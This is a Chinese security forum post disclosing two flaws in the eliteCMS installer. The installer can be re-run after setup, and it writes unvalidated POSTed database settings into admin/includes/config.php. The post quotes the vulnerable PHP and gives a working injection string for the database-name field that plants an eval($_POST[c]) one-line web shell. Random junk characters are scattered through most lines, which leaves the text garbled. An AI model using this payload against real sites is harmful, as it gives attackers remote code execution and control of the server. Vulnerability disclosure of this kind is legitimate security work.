找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2310|回复: 0
打印 上一主题 下一主题

eliteCMS安装文件未验证 + 一句话写入安全漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-18 13:59:27 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装/ e( y. b8 {: g$ V9 f
; ~7 `; W$ i8 q' d4 ?+ z$ |" Z& J
另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php; Q4 c! r7 n, d" W7 e7 s
我们来看代码:4 T/ {1 L1 D5 J# r  h! y) }0 u: \

, _4 j# d& z; [* O( @' K...
# w' h3 {. Q: w8 m8 z6 ~elseif ($_GET['step'] == "4") {
4 C, \5 f/ s* ?4 g: }7 @    $file = "../admin/includes/config.php";
% [) m& d. }- Z- z% ~9 a    $write = "<?php\n";
# e1 @  }4 g; M/ W    $write .= "/**\n";
% l! ~: X% A, F" m    $write .= "*\n";
7 l, Y5 a: l/ E$ z5 G    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
4 M  r4 U" A+ `+ F...略...* e  M  e. L, r' b
    $write .= "*\n";" z8 o* d1 \9 ?( k( |2 Y. e# y: X
    $write .= "*/\n";9 S& I% L5 G. _4 _: [
    $write .= "\n";
9 j% \( _) D1 {    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";9 q# A2 @' ^/ H; L# i
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";0 c, l: b' z4 b( @7 {, i5 J
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";, {. R( ]7 M- i) f5 z5 U. s  ]
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
7 l' i9 l# z' d& v) ?    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";  G) C4 z$ a# Q0 M- ?
    $write .= "if (!\$connection) {\n";$ F7 D+ h* X' N5 H" [
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
0 m$ \6 s+ c5 z# m; N( k5 p    $write .= "        \n";
5 D6 p) L6 s* Z    $write .= "} \n";% ?) u9 w! a( p: F
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
( n7 s8 d/ |" @# E4 h    $write .= "if (!\$db_select) {\n";
3 _+ z) X4 }* H' w% S6 p" F: Y. Q    $write .= "        die(\"Database select failed\" .mysql_error());\n";
: T) P; r1 X& C    $write .= "        \n";9 A9 v! V- c7 @0 m
    $write .= "} \n";: _) `; t4 Z, i1 B! n. y, d
    $write .= "?>\n";, S  _. `9 d$ v
4 ~* _0 D: O* n% A) z2 S
    $writer = fopen($file, 'w');7 @+ u% ?3 u! Z3 U; V  E$ X/ k4 X
...
1 Z( K3 V3 w! Y) `, O 4 Z; `7 T( R/ @2 b" S
在看代码:" c- e! l& q3 o' Y9 i' h! w7 I- S! z: x

2 p0 E- a+ t8 W; V$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
! {" s6 S1 j+ @1 D3 G$_SESSION['DB_NAME'] = $_POST['DB_NAME'];5 v2 @  E& p8 s9 d2 ~
$_SESSION['DB_USER'] = $_POST['DB_USER'];
# T% M! M- l! a$ l, g8 l$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
. H' a: n. V+ p  p* V
. z$ l; w0 n8 k5 b5 P/ m6 Q取值未作任何验证
% n1 N! [/ L9 @! l8 M! ?$ c% u0 C如果将数据库名POST数据:& r2 b/ V2 F! Z% l$ L
! j! I" C% J- ]
"?><?php eval($_POST[c]);?><?php4 u' e: |0 K) j% c7 F
8 X8 c  X1 J6 D( P8 p/ s
将导致一句话后门写入/admin/includes/config.php
2 L* Z0 ^; ^) |* Z6 }/ C  y2 d# b
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表